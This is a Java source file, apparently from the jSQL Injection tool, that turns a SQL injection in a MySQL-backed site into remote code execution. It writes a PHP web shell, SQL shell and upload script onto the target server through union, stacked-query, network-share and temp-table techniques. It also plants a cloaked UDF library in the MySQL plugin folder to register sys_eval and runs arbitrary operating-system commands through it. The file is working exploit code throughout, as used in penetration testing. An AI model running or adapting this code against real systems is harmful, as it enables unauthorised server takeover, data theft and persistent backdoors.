ExploitMysql.java

package com.jsql.model.accessible.vendor;

import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.DataAccess;
import com.jsql.model.accessible.ExploitMode;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
import com.jsql.model.bean.database.MockElement;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.JSqlRuntimeException;
import com.jsql.model.injection.vendor.model.VendorYaml;
import com.jsql.model.suspendable.SuspendableGetRows;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.yaml.snakeyaml.Yaml;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.List;
import java.util.Objects;
import java.util.UUID;
import java.util.function.BiPredicate;
import java.util.function.BinaryOperator;

public class ExploitMysql {

    /**
     * Log4j logger sent to view.
     */
    private static final Logger LOGGER = LogManager.getRootLogger();
    public static final String NAME_TABLE = "temp";
    private final InjectionModel injectionModel;
    private final ModelYamlMysql modelYaml;

    private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
        try {
            return this.buildSysEval(nameLibraryRandom);
        } catch (JSqlException e) {
            throw new JSqlRuntimeException(e);
        }
    };

    public ExploitMysql(InjectionModel injectionModel) {
        this.injectionModel = injectionModel;
        var yaml = new Yaml();
        this.modelYaml = yaml.loadAs(
            injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
            ModelYamlMysql.class
        );
    }

    public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");

        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            var request = new Request();
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
            request.setParameters(urlSuccess);
            this.injectionModel.sendToViews(request);
            return urlSuccess;
        };
        return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
    }

    public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
            if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
                var request = new Request();
                request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
                request.setParameters(urlSuccess, username, password);
                this.injectionModel.sendToViews(request);
                return urlSuccess;
            }
            return StringUtils.EMPTY;
        };
        var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
        if (StringUtils.isEmpty(urlSuccess)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
        }
        if (StringUtils.isEmpty(urlSuccess)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
        }
        if (StringUtils.isEmpty(urlSuccess)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
        }
        return urlSuccess;
    }

    public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
                if (result.body().contains(DataAccess.LEAD +"y")) {
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
                } else {
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
                }
            } catch (InterruptedException e) {
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
                Thread.currentThread().interrupt();
            } catch (IOException | JSqlException e) {
                throw new JSqlRuntimeException(e);
            }
            return urlSuccess;
        };
        this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
    }

    /**
     * Create shell on remote server
     * @param urlExploit  URL for the script (used for url rewriting)
     */
    public String create(
        String pathRemoteFolder,
        String urlExploit,
        String keyPropertyExploit,
        String nameExploit,
        BinaryOperator<String> biFuncGetRequest,
        String pathNetshareFolder,
        ExploitMode exploitMode
    ) throws JSqlException {
        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
            return null;
        }

        String bodyExploit = StringUtil.base64Decode(
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
            )
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);

        // outfile + binary: content corruption
        BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
            try {
                String resultInjection = this.confirm(pathFolder + nameFile);
                return resultInjection.contains(bodyExploit);
            } catch (JSqlException e) {
                throw new JSqlRuntimeException(e);
            }
        };

        var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
        String nameExploitValidated = StringUtils.EMPTY;

        if (exploitMode == ExploitMode.NETSHARE) {
            ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit);
            nameExploitValidated = this.byNetshare(
                nbIndexesFound,
                pathNetshareFolder,
                nameExploit,
                pathRemoteFolder,
                biPredConfirm
            );
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
            nameExploitValidated = this.byQueryBody(
                nbIndexesFound,
                pathRemoteFolder,
                nameExploit,
                StringUtil.toHexChunks(bodyExploit.getBytes()),
                biPredConfirm
            );
        }
        if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
            var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
            this.byTable(
                StringUtil.toHexChunks(bodyExploit.getBytes()),
                pathRemoteFolder + nameExploitRandom
            );
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
                nameExploitValidated = nameExploitRandom;
            }
        }

        if (StringUtils.isEmpty(nameExploitValidated)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
            return null;
        }
        nameExploit = nameExploitValidated;
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);

        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
    }

    public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");

        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
            return;
        }

        var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
        var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
        if (StringUtils.isEmpty(pathPlugin)) {
            throw new JSqlException("Incorrect plugin folder: path is empty");
        }

        String nameLibrary = this.getNameLibrary();

        pathPlugin = pathPlugin.replace("\\", "/");
        if (!pathPlugin.endsWith("/")) {
            pathPlugin = String.format("%s%s", pathPlugin, "/");
        }

        if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
        }
        String isSuccess = StringUtils.EMPTY;
        if (exploitMode == ExploitMode.NETSHARE) {
            if (!pathNetshareFolder.endsWith("\\")) {
                pathNetshareFolder += "\\";
            }
            ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
            isSuccess = this.byNetshare(
                nbIndexesFound,
                pathNetshareFolder,
                nameLibrary,
                pathPlugin,
                this.biPredCreateUdf
            );
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
            if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
                LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead");
            }
            isSuccess = this.byQueryBody(
                nbIndexesFound,
                pathPlugin,
                nameLibrary,
                ExploitMysql.toHexChunks(nameLibrary),
                this.biPredCreateUdf
            );
        }
        if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
            var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
            this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
            this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
        }
    }

    private String getNameLibrary() throws JSqlException {
        var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
        if (StringUtils.isEmpty(versionOsMachine)) {
            throw new JSqlException("Incorrect remote machine: unknown system");
        }
        var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
        String nameLibrary;
        if (versionOsMachine.contains("64")) {
            nameLibrary = isWin ? "64.dll" : "64.so";
        } else {
            nameLibrary = isWin ? "32.dll" : "32.so";
        }
        return nameLibrary;
    }

    public String byQueryBody(
        int nbIndexesFound,
        String pathRemoteFolder,
        String nameExploit,
        List<String> hexChunks,
        BiPredicate<String,String> biPredConfirm
    ) {
        String nameExploitValidated = StringUtils.EMPTY;
        var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();

        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
        this.injectionModel.injectWithoutIndex(String.format(pattern,
            "union",
            "'',".repeat(nbIndexesFound),
            String.join(StringUtils.EMPTY, hexChunks),
            pathRemoteFolder + nameExploitRandom
        ), "body#union-dump");
        if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
            nameExploitValidated = nameExploitRandom;
        }
        if (StringUtils.isEmpty(nameExploitValidated)) {
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
            this.injectionModel.injectWithoutIndex(String.format(pattern,
                ";",
                StringUtils.EMPTY,
                String.join(StringUtils.EMPTY, hexChunks),
                pathRemoteFolder + nameExploitRandom
            ), "body#stack-dump");
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
                nameExploitValidated = nameExploitRandom;
            }
        }
        return nameExploitValidated;
    }

    public String byNetshare(
        int nbIndexesFound,
        String pathNetshareFolder,
        String nameExploit,
        String pathRemoteFolder,
        BiPredicate<String,String> biPredConfirm
    ) {
        String nameExploitValidated = StringUtils.EMPTY;
        var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
        var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();

        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
        this.injectionModel.injectWithoutIndex(String.format(pattern,
            "union",
            "'',".repeat(nbIndexesFound),
            pathShareEncoded + nameExploit,
            pathRemoteFolder + nameExploitRandom
        ), "netshare#union");
        if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
            nameExploitValidated = nameExploitRandom;
        }
        if (StringUtils.isEmpty(nameExploitValidated)) {
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
            this.injectionModel.injectWithoutIndex(String.format(pattern,
                ";",
                StringUtils.EMPTY,
                pathShareEncoded + nameExploit,
                pathRemoteFolder + nameExploitRandom
            ), "netshare#stack");
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
                nameExploitValidated = nameExploitRandom;
            }
        }
        return nameExploitValidated;
    }

    private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
        try {
            URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("exploit/mysql/" + nameLibrary)).toURI();
            Path originalPath = new File(original).toPath();
            Path copied = Paths.get(pathNetshare + nameLibrary);
            Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING);
        } catch (IOException | URISyntaxException e) {
            throw new JSqlException("Copy udf into local network share failure: " + e.getMessage());
        }
    }

    public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
        var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
        if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
            nameDatabase = "mysql";
        }
        var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
        var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
            nameSchemaTable
        ), ResourceAccess.TBL_DROP);
        var countResult = this.getCountTable(nameDatabase, nameTableRandom);
        if (!"0".equals(countResult)) {
            throw new JSqlException("Drop table failure: "+ countResult);
        }
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
            nameSchemaTable
        ), ResourceAccess.TBL_CREATE);
        countResult = this.getCountTable(nameDatabase, nameTableRandom);
        if (!"1".equals(countResult)) {
            throw new JSqlException("Create table failure: "+ countResult);
        }
        int indexChunk = 0;
        for (String chunk: bodyHexChunks) {
            if (indexChunk == 0) {
                this.injectionModel.injectWithoutIndex(String.format(
                    this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
                    nameSchemaTable,
                    chunk
                ), "tbl#init");
            } else {
                this.injectionModel.injectWithoutIndex(String.format(
                    this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
                    nameSchemaTable,
                    chunk
                ), ResourceAccess.TBL_FILL);
            }
            indexChunk++;
        }
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
            nameSchemaTable,
            pathRemoteFile
        ), ResourceAccess.TBL_DUMP);
    }

    private String getCountTable(String nameDatabase, String nameTableRandom) {
        try {
            return this.injectionModel.getResourceAccess().getResult(String.format(
                this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
                nameTableRandom,
                nameDatabase
            ), "tbl#check");
        } catch (JSqlException e) {
            return e.getMessage();  // error message then logged
        }
    }

    private boolean buildSysEval(String nameLibrary) throws JSqlException {
        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getAddFunction().getCreate(),
            nameLibrary
        ), "udf#function");
        var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
        if (!confirm.contains("sys_eval")) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
            return false;
        }
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");

        var request = new Request();
        request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_MYSQL);
        request.setParameters(null, null);
        this.injectionModel.sendToViews(request);
        return true;
    }

    private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
        Path path = Paths.get(pathFile);
        try {
            Files.write(path, bodyExploit.getBytes());
        } catch (IOException e) {
            throw new JSqlException(e);
        }
    }

    public String confirm(String path) throws JSqlException {
        var sourcePage = new String[]{ StringUtils.EMPTY };
        return new SuspendableGetRows(this.injectionModel).run(
            this.modelYaml.getFile().getRead().replace(
                VendorYaml.FILEPATH_HEX,
                Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
            ),
            sourcePage,
            false,
            1,
            MockElement.MOCK,
            "xplt#confirm-file"
        );
    }

    public String runRceCmd(String command, UUID uuidShell) {
        String result;
        try {
            result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
                this.modelYaml.getUdf().getRunCmd(),
                command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
            ), "udf#run-cmd") +"\n";
        } catch (JSqlException e) {
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
        }
        var request = new Request();
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
        request.setParameters(uuidShell, result);
        this.injectionModel.sendToViews(request);
        return result;
    }

    private static List<String> toHexChunks(String filename) throws JSqlException {
        try {
            byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
                ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ filename +".cloak")
            ).readAllBytes();
            fileData = StringUtil.uncloak(fileData);
            return StringUtil.toHexChunks(fileData);
        } catch (IOException e) {
            throw new JSqlException(e);
        }
    }

    public ModelYamlMysql getModelYaml() {
        return this.modelYaml;
    }
}